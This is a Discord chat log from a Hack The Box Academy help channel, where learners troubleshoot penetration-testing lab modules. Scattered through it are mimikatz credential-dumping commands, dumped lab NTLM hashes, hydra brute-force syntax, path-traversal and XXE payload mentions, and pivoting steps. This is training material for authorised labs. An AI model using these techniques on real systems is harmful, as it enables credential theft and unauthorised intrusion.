You want to focus on windows specific data, which is SAM or system memory where hashes are, now you can typically use mimikatz to interact with windows authentication mechanisms, aswell as NTML hashes, if you target hashes from other users you gotta extract them from SAM database directly, with system priviliges of course, sekurlsa::logonpasswords relies on LSASS, which means it stores data in memory

feral saffron
#

Everyone always gives the GET /../../etc/passwd for Local File Inclusion yet I don't get how that's supposed to be any different from a Directory Traversal attack. Is LFI supposed to be a subset of the latter? Per ChatGPT, the difference is that mere Directory Traversal is read-only for the attacker whereas LFI leverages runtime code execution. Is this correct?

fathom pendant
#

Lfi allows for code execution to a degree

#

And finding files you typically shouldn't

shadow latch
visual umbra
#

Im not sure how to extract just the NTML haseses , the module did not tell me anyting about it. but ok, thanx, now i have someting to go on!

feral saffron
#

And the name is dumb. "Local" in IT always means from your machine, if I'm manipulating the server then that's remote smh

dark hedge
#

"local" in this case means local [files] on the web server

#

there is remote file inclusion, which involves the web server being able to access files on other servers

near tendon
#

It's a subset of directory traversal only in context when someone executes files

visual umbra
#

gah...

near tendon
#

You need to manually gather SAM and SYSTEM hives or NTDS.dit, with bootkey from SYSTEM hive, it should encrypt hashes, make sure you reference them correctly

feral saffron
#

Otherwise they're both just viewing files/traversing dirs

visual umbra
#

but... how to manually gather SAM and SYSTEM hives or NTDS.dit i have no target just the file ntds DC01.inlanefreight.local.ntds downloaded from the skill assesment.. This cant be the solution, the module did not cover anything about this at all ..

near tendon
near tendon
thorny sluice
#

I'm on the command injection skill assessment and found the injection point but can't find the flag I've run {ls,-la}, Obfuscated versions of ls with various quoting and even the find command such as find / -type f -name "flag.txt" in an Obfuscated format to bypass denied "malicious request"

cloud urchin
#

that means there's a filter you need to figure out a way to bypass it

rustic sage
#

When a module asks me to enumerate the internal network I need to enumerate using that private ip right?

Pivoting tunneling and port forwarding - skills assessment - question 3

cloud urchin
agile hare
# clever bloom Me too. Have tried many combinations and I can't pass it...

By searching modules channel, i found some link to writeup that contained the correct answer.

To save you time for searching, i will not give exact answer, just mention:

  1. file command is fully enough to obtain all you need;
  2. Correct answer consist from two parts, separated by space, it consists of around 11 chars, including space;
  3. The first part designates binary type; the other part - count of bits, including sufix '-bit';

Good luck to format everything you already know!

gray yacht
rustic sage
cloud urchin
#

i'd need more details like module/section to know more, but purely based on your question that's wrong. internal network = private ip, not public.

#

inherently by definition a private network is not public

rustic sage
#

And the answer is a public ip 😑

cloud urchin
#

module and section?

rustic sage
#

Pivot tunnelint and port forwarding - skill assessment - question 3

cloud urchin
#

that is a private IP my guy

#

not public

rustic sage
#

Oh ye

#

I'm used to seeing 3 digits at the beginning and thinking it's public

cloud urchin
#

there are only 2 ranges that start with 3 digits that are private, and 1 2 digit range. the overwhelming majority are public.

rustic sage
#

@cloud urchin U finished the room?

cloud urchin
#

yes

rustic sage
#

Idk if I'm doing the right command to find that ip

#

Can I send here or do I dm

cloud urchin
#

it might be covered under the networking behind pivoting section

rustic sage
#

Can I send the command here?

#

I copied it from the first module with questions

cloud urchin
#

are you actually connected to the computer you need to find the ip on?

rustic sage
#

But everyone is crazy abt these things you cant share them in public etc

rustic sage
cloud urchin
#

did you complete the Active Directory Enumeration and Attacks module yet?

rustic sage
#

No didn't even start it

#

It's the next in order

cloud urchin
rustic sage
#

Like what I'm doing with ssh and port forwarding and nmap

cloud urchin
#

idk i don't think i used that but i also dont know what command you did. nmap can find hosts if it works through port forwarding

rustic sage
#

Ok can I dm u

#

Btw if there's an admin here I would like to know what can be shared or not

cloud urchin
#

if you're connected to the target ip the commands are in the "The Networking Behind Pivoting" like i mentioned

#

otherwise nmap, ping sweep

#

i believe metasploit can also do a ping sweep

rustic sage
cloud urchin
#

yeah if you're connected that should work. but idk if you're connected to the target in question etc

rustic sage
#

I'm not understanding

#

Why would ifconfig let me find the ip in the network

#

It's showing me the ip on the machine

cloud urchin
#

right it shows the IP's on the machine you're on, that's why i said if you're connected to the machine it'll show you

rustic sage
#

Why would I care abt the ip im on, it's like the first thing you do after you land on the webshell

#

Like it's not getting me closer to answering the question

cloud urchin
#

ok then use one of the other 3 techniques i mentioned lol

rustic sage
#

Aight np

#

If there's someone else who did this module pls tell me idk if I'm going in the right direction

#

Wtf why are they all up

#

@rustic sage I'm trying to find the ip to pivot to in the network. I used dynamic port forwarding , edited the proxy chain file with the right port, and did nmap ping sweep with proxychain to find a host that's up. It found 256 hosts up

#

And people on the forum are talking about CMD scripts and I have no idea why

cloud urchin
#

pretty sure you can't get an ICMP reply through a forward like that

rustic sage
#

They are all up

gray yacht
real delta
cloud urchin
#

The module goes over this, review the Meterpreter Tunneling and Port Forwarding section

jovial tusk
#

Hey team - new to HTB. How do I prep for the CTFs? When I try to join a CTF it says I have to join a team. Do I just create a team of me?

real delta
rustic sage
rustic sage
real delta
rustic sage
#

I may be doing something wrong

gray yacht
real delta
jovial tusk
real delta
dark hedge
gray yacht
rustic sage
real delta
gray yacht
rustic sage
gray yacht
#

Like Ceald said.

rustic sage
#

I'll try in a min

gray yacht
#

Check hack tricks or just Google it

cloud urchin
rustic sage
cloud urchin
#

at 4:48pm pst

#

i said ping sweep, nmap, metasploit, or the ipconfig command

#

then later i gave you the section to review to see those commands

rustic sage
#

Mh must have lost focus

#

I was touching my weenie while reading on the phone

cloud urchin
rustic sage
#

I'm trying to find the ip to pivot to in the network. I used dynamic port forwarding , edited the proxy chain file with the right port, and did nmap ping sweep with proxychain to find a host that's up. It found 256 hosts up @wary plover

#

Bash script isn't giving output

cloud urchin
gray yacht
#

Dude i just hopped on there and did not get 256 results back.

rustic sage
rustic sage
cloud urchin
gray yacht
brave scroll
#

everytime i spawn target, it goes to timeout, spawned target about 3 to 4 times

wary plover
cloud urchin
wary plover
#

@rustic sage did you find the credentials on the webserver?

rustic sage
rustic sage
rustic sage
wary plover
rustic sage
wary plover
rustic sage
wary plover
#

this question right

Enumerate the internal network and discover another active host. Submit the IP address of that host as the answer.

cloud urchin
rustic sage
rustic sage
#

This place is not so shitty : )

#

Thx guys

wary plover
#

yeah general can be quite hectic, better to go to here for questions regarding modules, happy hacking!

rustic sage
#

If all ports on the ip are filtered does it mean the pivoting to webadmin wasnt successful?

#

It doesn't give me error when using nmap against 172.x.x.x but all ports are filtered. Also rdp

hasty lagoon
#

Hi!

Has anyone encountered this issue when trying to upload an SVG file containing an XXE script in the Limited File Uploads module? Clicking on the upload button to upload the malicious SVG file does nothing. So far, I have tried the following:

-Using both Firefox and Google Chrome web browsers on Kali.

-Using a new Kali VM image and attempting to upload the SVG file.

I have no problem uploading the SVG file in both Tor Browser and Pwnbox, so I’m unsure what the issue could be.

buoyant apex
#

Hello guys

hasty lagoon
# cloud urchin Click the HTB logo

Hi, thanks for your help! I am able to upload any image file, but when the file contains an XXE payload, the upload button does not function upon clicking it. However, there is no issue with the Tor Browser; I was able to upload the XXE file and view its content.

cloud urchin
#

i used burp so idk

hasty lagoon
#

my burp doesn't load when I try to send the xxe payload too. It just stuck at sending which is weirdNotLikeThis

white shadow
#

Hi

Is there no daily refresh for pwnmachine the way there is on tryhackme?

visual umbra
#

Hello agin... I'm going crazy.
Yesterday I finished all the questions in the Skill Assessment for Cracking hashes with hashcat except for the last question which reads:

After cracking the NTLM password hashes contained in the NTDS.dit file, perform an analysis of the results and find out the MOST common password in the INLANEFREIGHT.LOCAL domain.

I'll start with that
create a file with only hashes for NTLM and then crack them and then get a list that looks like this:
4f09bae1f5ededfff7fc8039304e4782:*****

then cut -d ':' -f 2 cracked_passwords.txt > passwords_only.txt to sort out the passwords only

and further sort passwords_only.txt | uniq -c | sort -no > password_frequencies.txt
to count the occurrence of passwords

finally head -n 1 password_frequencies.txt which finds the most common password.

So far so good, but the problem is that password is used only once in the whole file and the answer is wrong, I tried to make a slightly longer list of the most common password, but no password in the file is used more than once.

I have tried different techniques but I get the same password in response.

Have I got it wrong, is it which password is the most common overall ie most used worldwide and not just which password is the most common in the list of passwords from the cracked hashes or what am I doing wrong?

cloud sinew
#

I'm having a stupid amount of frustration on the Using the Metasploit Framework Payloads module as I keep getting "exploited completed but no session created" I've set my LHOSTS to the VPN IP and I know I chose the correct payload. Any help would be appreciated because I've restarted my vpn several times, waited for the target ip to spawn several times to redo it, and it's beyond frustrating.

visual umbra
# cloud sinew I'm having a stupid amount of frustration on the Using the Metasploit Framework ...

I've had big problems with reverse shell from my own machine via vpn to htb targets.. I went crazy myself, I used different types of reverse shell and nothing worked except at the end, then I used https://www.revshells. com/ but maybe it's not the reverse shell you're using? I noticed that even with a shell that worked, it didn't always work.. Try doing the exercise via pwnbox instead, because it seems to be difficult to do it via VPN..

cloud sinew
visual umbra
cloud sinew
visual umbra
#

Like now, im in last question for a skill assessment and im going crazy about it.. done all the things but it os wrong, and the module did not tell how to do everything so i was forced to finde knowlage outside...

visual umbra
#

I sat for many hours when I had the same problem.. In the end it worked but as I said not all the time, so it seems to be a problem with just such things via VPN

#

Maybe you or even I should report the problem to them, but they are probably aware of it, but it's good to pay more attention to them so they might prioritize

white shadow
#

I know how you guys feel

I pwned several machines today but my brain is hurting so much

So many frustrations and struggles. It's good to take breaks and rest

visual umbra
#

What can disturb a lot is that in several cases the information you get in the mudle is insufficient to solve all the questions in the assessment, of course I understand that you might have to search for some information yourself etc. and not get a solution fed to you, but sometimes it feels like certain things are simply missing in a module..

cloud sinew
cloud sinew
#

Awesome thanks man

visual umbra
visual umbra
#

I finished all the questions in the Skill Assessment for Cracking hashes with hashcat except for the last question which reads:

After cracking the NTLM password hashes contained in the NTDS.dit file, perform an analysis of the results and find out the MOST common password in the INLANEFREIGHT.LOCAL domain.

I'll start with that
create a file with only hashes for NTLM and then crack them and then get a list that looks like this:
4f09bae1f5ededfff7fc8039304e4782:*****

then cut -d ':' -f 2 cracked_passwords.txt > passwords_only.txt to sort out the passwords only

and further sort passwords_only.txt | uniq -c | sort -no > password_frequencies.txt
to count the occurrence of passwords

finally head -n 1 password_frequencies.txt which finds the most common password.

So far so good, but the problem is that password is used only once in the whole file and the answer is wrong, I tried to make a slightly longer list of the most common password, but no password in the file is used more than once.

I have tried different techniques but I get the same password in response.

Have I got it wrong, is it which password is the most common overall ie most used worldwide and not just which password is the most common in the list of passwords from the cracked hashes or what am I doing wrong?

frank sun
quick slate
#

Hello,

I am experiencing an issue with my HTB Academy account. My student subscription was unexpectedly closed, and I am unsure of the reason. Could someone please assist me in resolving this matter?

compact patrolBOT
visual umbra
#

Wooov, i did it.. hehe, after about 10h and alot frustration... woop woop

visual umbra
visual umbra
#

is it a module just about Burp?

past kite
#

Attacking Wi-Fi Protected Setup (WPS) anyone finished that module?
I'm can't brute force PIN with reaver....

visual umbra
#

what tool u using?

teal sparrow
#

the module doesnt really go in depth ngl

dim ridge
#

Hey everyone, I’m stuck on the Password Attacks Lab - easy from the password attacks module.
I’ve tried crackmapexec and hydra ftp and ssh to target -u (user list given by resources) -p (password list given by resources) .
I’ve gone to the forum that says they find a password with the user Mike but this doesn’t work either.

I’ve also tried mutating the password file with the custom rule provided and created a mutated file from Inlanefreight, not getting any positive responses on any usernames or passes

‘Crackmapexec ftp 10.129.96.146 -u username.list -p password.list’

Crackmapexec ssh 10.129.96.146 -u username.list -p password.list

Hydra -L username.list -p password.list ftp://10.129.96.146 -vv

But no success

FTP - On the responses for crackmap I get a negative and (response ‘NoneType’ object has no attribute ‘sendall’)

SSH - I was getting the error bad authentication type; allowed types; publickey’ but then also get authentication failed

dim ridge
teal sparrow
idle marsh
#

ah ok. attacking the FTP using hydra is the step in the right direction

teal sparrow
dim ridge
#

Ah right, I didn’t realise hydra would give different results to crackmap, is my syntax wrong on hydra, just checked, shouldn’t it be -P rather than -p 🤦🏼‍♂️😂

teal sparrow
idle marsh
#

-L for username.txt, -P for password.txt

dim ridge
#

😩 that’ll be my mistake then, will give it a couple rounds on hydra, sorry for the silly mistake haha.

idle marsh
#

dont worry bout it

dim ridge
#

I really appreciate the help, trying to get through and pass CPTS before mid Jan but it’s slow going at times

idle marsh
#

nvm lmao im blind.

teal sparrow
idle marsh
#

whats ur dig command looking like

teal sparrow
#

i tried a bunch the one im getting connection timeout with is 'dig axfr inlanefreight.htb @inlanefreight.htb' all the others i tried legit just do nothing

idle marsh
#

did u add the ip into ur /etc/hosts

teal sparrow
#

yes

#

did it to /etc/resolv.conf aswell

idle marsh
#

oh my i was looking at my own notes and realised that they revamped the module 💀

teal sparrow
#

this isnt the only section i had this issue either

#

the whole module just doesnt work

idle marsh
#

@teal sparrow u might have to hang on for abit, i dont have access to a proper com/machine to redo this module on

teal sparrow
#

whats ur hashcat mode?

opal nexus
dim ridge
#

Like zone transfer from the base url and then try again from one of the subdomains found I think. Can’t remember, but will try asap

teal sparrow
#

@dim ridge @idle marsh found the issue i had multiple VPN connections e.g. tun0 tun1 tun2 no idea how but i just killed them all and it worked

opal nexus
idle marsh
#

oh bruh hahahaha

dim ridge
teal sparrow
dim ridge
idle marsh
teal sparrow
#

this renew sucks because they changed all the questions aswell but you cant input new answers to check if your right

idle marsh
#

i remembered re-doing login brute force recently.

hasty mauve
#

Hi.
I'm currently at the Password Attacks Module, in Network Services section.
In the exercise, it asks for 4 flags for 4 differenet users.
I got the WinRM, SSH, and SMB.
The thing is I've been waiting for almost more than 3 hours on RDP and it did not show up yet.
I tried both hydra and netexec, is there an issue with this task or something?

visual umbra
hasty mauve
#

They explained nothing about it in this section either, so why should I try that? isn't the task supposed to be on what's being taught?

visual umbra
#

I've seen things not mentioned several times in the module that were the solution.. Seems like they want you to think outside the box and use all the different techniques that have been covered in all the modules.. But not sure if it is so just in your case, but it was a thought that slohg me might work

hasty mauve
#

the RDP task is the 3rd one, isn't getting the 4th flag before the 3rd indicates some kind of problem?

visual umbra
#

Np

sand rose
#

Hello guys. I'm on day 3 of trying to connect up to this mysql database for this module. I cannot for the life of me figure out what I'm missing? I keep getting an error saying "Can't connect to local server through socket <file path>."

#

I've tried the following:
mysql <target ip> -u root -ppassword
mysql <target ip>-u root -p (followed by typing the password on the next prompt).
mysql <target ip> -u -P 3306 -p

Ive also tried maria db and a few other variations of the above. I've also tried using the ephemeral port provided as well after the -P

I'm not sure what the issue is. I can ping it and nmap it just fine.

hasty mauve
#

I just felt dump.....
It turns out netexec did try the credentials but failed, due to the target being shutdown automatically as I spent a lot of time in this task 🥲

visual umbra
sand rose
#

So how do I troubleshoot that? Just trying to locate it?

green minnow
#

Am I just blind? I can't find the mac VM to do the MacOS fundamentals module

visual umbra
#

first you can make sure the port is correct with nc -zv <mysql-server-ip> 3306

#

If the connection is successful, it means MySQL is listening on that IP and port.

sand rose
#

so i went to /run and there is no mysqld folder (its trying to use /run/mysqld/mysqld.sock).

And I'll do what you just said now.

gray yacht
gray yacht
visual umbra
visual umbra
sand rose
#

I did... would it make a difference? Its a vm all the same right?

visual umbra
dim ridge
#

On brute forcing SMB I find I always get a false positive on users that don’t exist, is this common, how do we get around this

visual umbra
sand rose
#

I'm getting the same errors

#

in pwnbox*

dim ridge
visual umbra
# dim ridge What is it supposed to be? Hydra -L username.list -P password.list smb://IPADDR

ommand for Workgroup Environment (No Domain): If the SMB server doesn't use a domain, run:

hydra -L username.list -P password.list smb://IPADDR

Command for Domain Environment: If the SMB server uses a domain (e.g., INLANEFREIGHT), format your username.list with domain prefixes:

INLANEFREIGHT\username1
INLANEFREIGHT\username2

Then run:

hydra -L username.list -P password.list smb://IPADDR

Adding Verbosity: Use the -V flag to see each login attempt, which can help debug false positives:

hydra -L username.list -P password.list -V smb://IPADDR

dim ridge
#

Ah nice one thank you, well explained

visual umbra
#

im not 100% but i should work

#

and if you need dont forget to add posts to your hosts file

visual umbra
dim ridge
#

Was able to get what looks like the file with a guest auth

compact matrix
#

whats a good resource to practice sql injection queries

knotty anvil
visual umbra
storm elk
#

This is not the server for this buddy.

knotty anvil
#

^

#

lmao

#

what even was that

#

use markdown notation for posting these big chunks

storm elk
#

That was chat copy paste

#

they shouldn’t even mark up that, just refrain from doing so

dim ridge
visual umbra
visual umbra
#

Smb:\\

#

Maby it is the way to go for you 2, i hope so.

#

If the smb is on a Windows machine it use \\ not // often

spare tendon
#

Hi everyone,
I'm still at my beginning.
I'm on the module 'Attacking Web Applications with Ffuf' on the chapter: 'Sub-domain Fuzzing'
on the question part, it tells me: 'Try running a sub-domain fuzzing test on 'inlanefreight.com' to find a customer sub-domain portal. What is the full domain of it? '

I know how to fuzz on a subdomain but when I try it, I have no result. So I assume that there is no public DNS, I would like to solve it in /etc/hosts but the problem is that I have no IP to associate.
Where am I going wrong?
I've been on this for a while if someone could give me a clue

visual umbra
visual umbra
spare tendon
idle marsh
#

I was using subdomain top1million 110000

visual umbra
#

try with [julle@HaxBox Ffuf]$ ffuf -w pathtolist/subdomains-top1million-5000.txt:FU
ZZ -u https://FUZZ.inlanefreight.com/ for me it worked

idle marsh
#

But i doubt it's that

visual umbra
#

the question was; Try running a sub-domain fuzzing test on 'inlanefreight.com' to find a customer sub-domain portal. What is the full domain of it? ?? iv get the the text in my notes telling me the subdomain

spare tendon
#

I have already done the command you sent me but it does not return any subdomain.
I guess it is linked to a private DNS. Or am I doing something wrong?
If so, should I not add the IP and name association in my hosts file?
If so, where can I find the IP?

visual umbra
#

i did not write exactly what i did do, normal i note all steps, but did not this time... sorry

#

i can tell you what is in my notes without tell you the answer if you like..

visual umbra
#

hope my notes can help you on the way

spare tendon
#

when you say: 'just look up the IP address used on inlanefreigth.com',
trying an nslookup on inlanefreigth.com I see that the IP is resolved but trying the ffuf again, I still get nothing

viral mica
#

I have a question about the privesc module, I acknowledge that we are looking up privileges to exploit processes on service accounts, but wouldn't that require us gaining control to those service accounts to begin with?

sinful mirage
#

Hello guys, I'm on linux fundamentals Filter contents page,
The question i have to answer is "How many services are listening on the target system on all interfaces? (Not on localhost and IPv4 only)"
Now, i have found i way to do this using the netstat command by filtering only the listening traffic, only tcp and udp and filtering out the localhost and ipv4
but, the response that i get with wc -l is 8, which is technically the truth since the response does contain 8 lines but 2 of the lines are "headers" so to say, so that would make the actual number of connections 6
but the correct answer is 7, is this a bug or am i missing something?

viral mica
sinful mirage
viral mica
#

oh not on localhost

#

uhm

#

you can use a regex string with grep -e

#

grep -v -e '(0.0.0.0)' -e '(127.0.0.1)'

sinful mirage
#

the thing is that netstat -tuln | grep -v "127.0.0.1" | grep -v "0.0.0.0" | grep -v "::1" works, but it outputs only 6 services

viral mica
#

yes that is correct

sinful mirage
#

but the correct answer is 7, which confuses me

viral mica
#

hmm 🤷‍♂️

limpid hemlock
#

Hey im solving the documentation and reporting practise lab i found a hashes for 3 different users using responder and cracked it now what to do where to enter this password

gray yacht
fiery berry
limpid hemlock
#

Im just darn tired after a long day

#

I really wana finish tbis module and get some sleep today

#

😅 thats why i asked

median gale
#

Win-PrivEsc SA 1. Found this after gaining admin shell(question 3). I guess this isnt the correct way, but what is it ?

sinful mirage
median gale
fiery berry
sinful mirage
compact matrix
#

I am currently on the sql injection module, on database enumeration, I have manage to solve it by guessing that a field is called passwords but I cant seem to get something to work to list all of the columns in the database to see the corresponding users
This is the command I RAN
||cn' UNION SELECT 1, password, 3, 4 FROM users-- - ||

sinful mirage
# fiery berry UDP is stateless.

i am aware of that, so because of that udp can never have a state even though it is currently being used or waiting to be used? thanks for the answers btw

civic steeple
#

hi all, I'm currently working through the Intro to Windows Command Line and i keep getting this message when working within the VM

PS C:\Users\htb-student>> Import-Module ActiveDirectory
PS C:\Users\htb-student>> Get-ADUser -Filter {GivenName -like 'robert'}
Get-ADUser : The server has rejected the client credentials.
At line:1 char:1

  • Get-ADUser -Filter {GivenName -like 'robert'}
  •   + CategoryInfo          : SecurityError: (:) [Get-ADUser], AuthenticationException
      + FullyQualifiedErrorId : ActiveDirectoryCmdlet:System.Security.Authentication.AuthenticationExcep
     tion,Microsoft.ActiveDirectory.Management.Commands.GetADUser
#

I'm bouncing between the CMD Vs. PowerShell, All About Cmdlets and Modules and User and Group Management, modules

cloud urchin
#

are you authenticed against the domain with domain creds, or are you using a local account or something?

harsh wren
#

can anyone help me the introduction to assembly skill assessment module

civic steeple
civic steeple
#

i've opened PowerShell within linux, i've also remoted into the windows desktop and opened powershell there though i believe it's essentially the same machine so i shouldn't expect a different result

civic steeple
#

and the next 1-2 sections, i've been struggling here a bit

#

side note: within Introduction to Windows Command Line Page 14 Working with Files and Directories, this threw me for a loop.

eager zinc
#

can someone tell me what stupid mistake i made? im unable to find the flag

delicate solar
#

How do I get access to talk in general?

cloud urchin
eager zinc
#

follow whats asked in the welcome channel

cloud urchin
eager zinc
cloud urchin
delicate solar
#

Ohhh thank you

#

But just curious I’m only on here to see if I could get help getting into old social medias I don’t have access to would I even get that here ?

cloud urchin
eager zinc
viral mica
#

I gotta say this is some pretty cool stuff, you got the uhh

cloud urchin
viral mica
#

files and you take ownership of it given a permission

#

and then you gotta make changes to it with icacls

eager zinc
#

ohk thanks ill check

eager zinc
#

lol it was taking me so long to get the flag

civic steeple
civic steeple
#

if i do find myself struggling to get through some of these fundamentals modules, should i jsut power through and dig deeper if i find myself stuck in one of the pen testers modules?

cloud urchin
#

you can always ask here

civic steeple
#

i'm just struggling to understand how well i need to understand every single concept before diving into the pen testers course

cloud urchin
#

a lot of them are follow along but some aren't

#

yeah hard to say that.. all depends on how much you already know, etc

#

the cpts course is a beginner-intermediate course for hacking, but hacking isn't a beginner part of IT

civic steeple
civic steeple
tough barn
#

Yes

toxic apex
#

is anyone else having issues with with the Xorsearch and scdebug.exe in "Malicious Document Analysis "?

visual umbra
opaque cosmos
#

Hello i am new to htb academy i was just surfing from one exam paths to another and checking our modules suddenly a screen pop used that i break one of the rules of site and my ip is blocked for 15 minutes can anybody help be understand what i did wrong so that it doesn’t happen again

visual umbra
#

It is hard for us to guess what you did wrong.

#

And, read the rules !

opaque cosmos
tranquil axle
visual umbra
#

Ok.. did you do something like that? If you chat or start a ticket with support that may give you a answer, the should be abible to see what did happened. It is not a thing we can to to see it, if you don get lucky and some one from HTB look at your post hare

opaque cosmos
visual umbra
#

🙂

opaque cosmos
#

Now i get why this is a hacking learning platform there are too many rules

#

It showed me without even starting my course

visual umbra
#

Before you needed to hack you in to the registration:)

sand rose
#

Hello guys... several days and hours later, whether I use pwnbox or my own vpn, I cannot connect to the mysql server target given to me in the module for the sql injection module... I keep getting either "Can't connect to server on 'localhost' (111)", or "Error 2002 (HY000): Can't connect to local server through socket '/run/mysqld/mysqld.sock' (2)"

I have no earthy idea what I'm doing wrong trying to connect up.

ocean night
cloud urchin
sand rose
#

@cloud urchin I haven't tried putting it in the browser... i'll try that.

@ocean night It's the SQL injection module, and the section is Intro to MySQL.

ocean night
#

@sand rose - can I DM?

#

You don't put it in the browser, at least for the step they are on

ocean night
prisma tundra
#

Guys quick question I started htb penetration test path a week a go and in the first module it says I need to have a strong foundation in 9 modules other than the 28, which are like 9. Do i really need to go through these or will I learn through out the 28 modules ?

sand rose
#

@ocean night Sure.

ocean night
sand rose
#

Yes, it is

cloud urchin
sand rose
#

I was about to link it lol xP.

ocean night
sand rose
#

Yup

ocean night
#

Ok, so have a read up, and see the explanations of how you use the mysql command

#

There are a few examples, one of which you will need to use certain arguments to complete this step

prisma tundra
ocean night
#

You have a target, you are not being asked to connect to a server on your machine

cloud urchin
sand rose
#

I have. I've been trying the following:
mysql <target> -u root -p

I then use password. I've also tried putting the password next to the -p (without a space), and I've also used -P 30914 (the ephemeral port given) and -P 3306 in the arguement as well

ocean night
#

What is the other argument being used in the examples?

#

You've got -P there for port, -p for password and -u for username

#

There's one more that you are missing

sand rose
#

Do I need the docker one too?

ocean night
#

Your target has an IP address and a port number

#

Read what it states above that section where it mentions docker

#

The target is not local

sand rose
ocean night
#

Right - but you have spawned a target

sand rose
#

yes

ocean night
#

That target has an IP address and port number

sand rose
#

Ive been using those

ocean night
#

The host doesn't need to be a domain name, it can be an IP address

#

That section with "docker.hackthebox.eu" is just an example - you need to adapt it to match the provided target

#

Let's head to DM's - we're being quite noisy here 😉

visual umbra
ocean night
#

Other services mind, yes they do (e.g. web servers)

visual umbra
ocean night
#

All good 👍

quasi wave
#

I am trying this tutorial on mimikatz:

https://joshdawes.com/dumping-ntlm-hashes-from-sam-using-mimikatz/

I am trying to do question 3 on the password attacks module's pass the hash section. I am logged into the Windows device as administrator. I am trying to dump the hashes but its not working

JoshDawes.com

Mimikatz is a tool that can allow you to extract all kinds of Windows secrets. In this post I will show you how to dump password hashes from a SAM database.

#
C:\Windows\System32\config>dir
 Volume in drive C has no label.
 Volume Serial Number is B8B3-0D72

 Directory of C:\Windows\System32\config

10/25/2022  06:18 AM    <DIR>          .
10/25/2022  06:18 AM    <DIR>          ..
10/25/2022  07:26 AM            65,536 BBI
10/06/2021  03:36 PM            28,672 BCD-Template
10/16/2022  05:44 AM        56,885,248 COMPONENTS
10/25/2022  07:26 AM           524,288 DEFAULT
11/17/2024  05:13 PM         4,009,984 DRIVERS
10/06/2021  02:37 PM            32,768 ELAM
09/15/2018  01:19 AM    <DIR>          Journal
11/17/2024  05:10 PM               144 netlogon.ftl
09/15/2018  01:19 AM    <DIR>          RegBack
10/25/2022  07:26 AM           131,072 SAM
10/25/2022  07:26 AM            65,536 SECURITY
11/17/2024  05:10 PM        83,361,792 SOFTWARE
10/25/2022  07:26 AM        17,301,504 SYSTEM
09/15/2018  01:19 AM    <DIR>          systemprofile
02/25/2022  09:38 AM    <DIR>          TxR
              11 File(s)    162,406,544 bytes
               6 Dir(s)  17,981,874,176 bytes free

C:\Windows\System32\config>lsadump::sam /system:SYSTEM /sam:SAM```
#

can someone help me out here?

fathom pendant
#

you also don't need to run lsadump::sam with the SAM/SYTEM flags

teal sparrow
#

Has anybody done the corperate OSINT module and if so what were ur thoughts on it

safe star
marble light
#

Hi Guys can someone help me with hashcat : Cracking Common hashes

#

ou i just found it hahahah xD thank u guys u have special powers 🙂

quasi wave
# safe star the user you're looking for is not a local user, try a way to dump domain user h...

Ok I'm trying what you guys @fathom pendant and @safe star are saying. I got a little closer. Trying this and I get the domain but I'm having trouble figuring out how to actually dump the hashes:

mimikatz # lsadump::dcsync /user:david
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
[DC] 'david' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)

mimikatz # lsadump::dcsync /domain:inlanefreight.htb
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
ERROR kuhl_m_lsadump_dcsync ; Missing user or guid argument

mimikatz # lsadump::dcsync /domain:inlanefreight.htb /usr:david
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
ERROR kuhl_m_lsadump_dcsync ; Missing user or guid argument

mimikatz # lsadump::dcsync /domain:inlanefreight.htb /user:david
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
[DC] 'david' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)

mimikatz # lsadump::dcsync /domain:inlanefreight.htb /user:david /inject
[DC] 'inlanefreight.htb' will be the domain
[DC] 'DC01.inlanefreight.htb' will be the DC server
[DC] 'david' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
ERROR kull_m_rpc_drsr_getDCBind ; RPC Exception 0x00000005 (5)```
#

can someone help with hthat?

fathom pendant
#

Are you using the right command? :)

#

Maybe it's not under lsadump

quasi wave
#

I thought I was I am looking at lsadump commands and tried others besides dcsync

cloud urchin
#

no one knows what you're doing and you may be way off what you're supposed to be doing

safe star
cloud urchin
#

you linked something totally outside of HTB

quasi wave
cloud urchin
quasi wave
#

ok I am trying the tutorial on a hack the box challenge

#

which is Passwords Attacks module's pass the hash section

cloud urchin
#

just saying, you're going to get a lot better help when you include the module and section. you never post it when you ask questions..

quasi wave
#

question 3 because I completed questions 1 and 2

#

I know I am doing pass the hash section on password attacks module on HTB Academy

#

I thought I said so

cloud urchin
quasi wave
#

is this getting closer:

mimikatz # lsadump::lsa
Domain : MS01 / S-1-5-21-430213916-1543111962-1809483319

RID  : 000001f4 (500)
User : Administrator
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f7 (503)
User : DefaultAccount
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f5 (501)
User : Guest
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003

RID  : 000001f8 (504)
User : WDAGUtilityAccount
ERROR kuhl_m_lsadump_lsa_user ; SamQueryInformationUser c0000003```
#

and why doesn't david show up there?

cloud urchin
#

nope

#

there's a prerequisite command you may need to run first

#

try running the commands shown in the module

quasi wave
#

ok now its showing NTLM hashes but david and julio's hashes aren't showing up:

mimikatz # lsadump::lsa /patch /domain:dc01.inlanefreight.htb
Domain : MS01 / S-1-5-21-430213916-1543111962-1809483319

RID  : 000001f4 (500)
User : Administrator
LM   :
NTLM : 30b3783ce2abf1af70f77d0660cf3453

RID  : 000001f7 (503)
User : DefaultAccount
LM   :
NTLM :

RID  : 000001f5 (501)
User : Guest
LM   :
NTLM :

RID  : 000001f8 (504)
User : WDAGUtilityAccount
LM   :
NTLM : 4b4ba140ac0767077aee1958e7f78070

mimikatz # lsadump::lsa /patch /domain:dc01.inlanefreight.htb /user:david
Domain : MS01 / S-1-5-21-430213916-1543111962-1809483319
ERROR kuhl_m_lsadump_lsa ; SamLookupNamesInDomain c0000073
#

can someone help me here?

cloud urchin
quasi wave
#
